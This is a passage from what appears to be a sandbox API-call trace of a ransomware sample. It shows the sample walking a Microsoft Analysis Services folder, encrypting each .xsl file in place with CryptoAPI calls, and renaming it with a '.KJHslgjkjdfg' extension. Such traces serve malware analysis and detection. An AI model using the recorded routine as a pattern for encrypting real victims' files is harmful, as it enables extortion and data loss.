hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0153.115] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0153.116] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0153.116] GetProcessHeap () returned 0x2a0000 [0153.116] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x29a) returned 0x2f32d0 [0153.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0153.116] GetProcessHeap () returned 0x2a0000 [0153.116] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.116] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.116] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0153.117] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.117] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.117] GetProcessHeap () returned 0x2a0000 [0153.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0153.117] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0153.117] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.117] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0153.120] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0153.120] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0153.120] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0153.120] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0153.120] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0153.120] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.120] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.120] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.120] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4360, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x4360, lpOverlapped=0x0) returned 1 [0153.121] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4360, dwBufLen=0x4360 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4360) returned 1 [0153.122] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.122] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x4360, lpOverlapped=0x0) returned 1 [0153.122] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.122] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x4424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.122] SetEndOfFile (hFile=0x118) returned 1 [0153.125] GetProcessHeap () returned 0x2a0000 [0153.125] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0153.125] GetProcessHeap () returned 0x2a0000 [0153.125] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.kjhslgjkjdfg")) returned 1 [0153.126] CloseHandle (hObject=0x118) returned 1 [0153.127] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0153.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0153.128] GetProcessHeap () returned 0x2a0000 [0153.128] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.128] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.128] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0153.128] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0153.131] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.131] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.131] GetProcessHeap () returned 0x2a0000 [0153.131] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0153.131] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0153.131] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.131] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0153.131] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0153.132] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0153.132] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0153.132] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0153.132] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0153.132] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.132] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.132] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.132] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4932, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x4932, lpOverlapped=0x0) returned 1 [0153.134] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4940, dwBufLen=0x4940 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4940) returned 1 [0153.134] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.134] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x4940, lpOverlapped=0x0) returned 1 [0153.134] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.134] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x4a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.134] SetEndOfFile (hFile=0x118) returned 1 [0153.137] GetProcessHeap () returned 0x2a0000 [0153.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0153.137] GetProcessHeap () returned 0x2a0000 [0153.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.kjhslgjkjdfg")) returned 1 [0153.139] CloseHandle (hObject=0x118) returned 1 [0153.139] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0153.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0153.141] GetProcessHeap () returned 0x2a0000 [0153.141] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.141] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.141] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0153.141] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xc, lpOverlapped=0x0) returned 1 [0153.144] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.144] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.144] GetProcessHeap () returned 0x2a0000 [0153.144] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.144] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0153.144] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.144] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0153.144] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0153.144] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0153.144] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0153.144] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0153.144] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0153.145] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.145] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.145] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.145] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x78e4, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x78e4, lpOverlapped=0x0) returned 1 [0153.146] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x78f0, dwBufLen=0x78f0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x78f0) returned 1 [0153.147] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.147] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x78f0, lpOverlapped=0x0) returned 1 [0153.147] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.147] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x79c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.147] SetEndOfFile (hFile=0x118) returned 1 [0153.151] GetProcessHeap () returned 0x2a0000 [0153.151] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.151] GetProcessHeap () returned 0x2a0000 [0153.151] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.kjhslgjkjdfg")) returned 1 [0153.152] CloseHandle (hObject=0x118) returned 1 [0153.152] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0153.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0153.154] GetProcessHeap () returned 0x2a0000 [0153.154] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.154] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.154] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0153.154] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0153.159] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.159] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.159] GetProcessHeap () returned 0x2a0000 [0153.159] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0153.159] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0153.159] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.159] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0153.159] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0153.159] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0153.159] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0153.159] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0153.159] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0153.160] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0153.160] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.160] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.160] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x712e, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x712e, lpOverlapped=0x0) returned 1 [0153.161] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7130, dwBufLen=0x7130 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7130) returned 1 [0153.161] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.161] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x7130, lpOverlapped=0x0) returned 1 [0153.162] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0153.162] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x71f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.162] SetEndOfFile (hFile=0x118) returned 1 [0153.165] GetProcessHeap () returned 0x2a0000 [0153.165] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0153.165] GetProcessHeap () returned 0x2a0000 [0153.165] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.165] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.kjhslgjkjdfg")) returned 1 [0153.167] CloseHandle (hObject=0x118) returned 1 [0153.167] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0153.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis 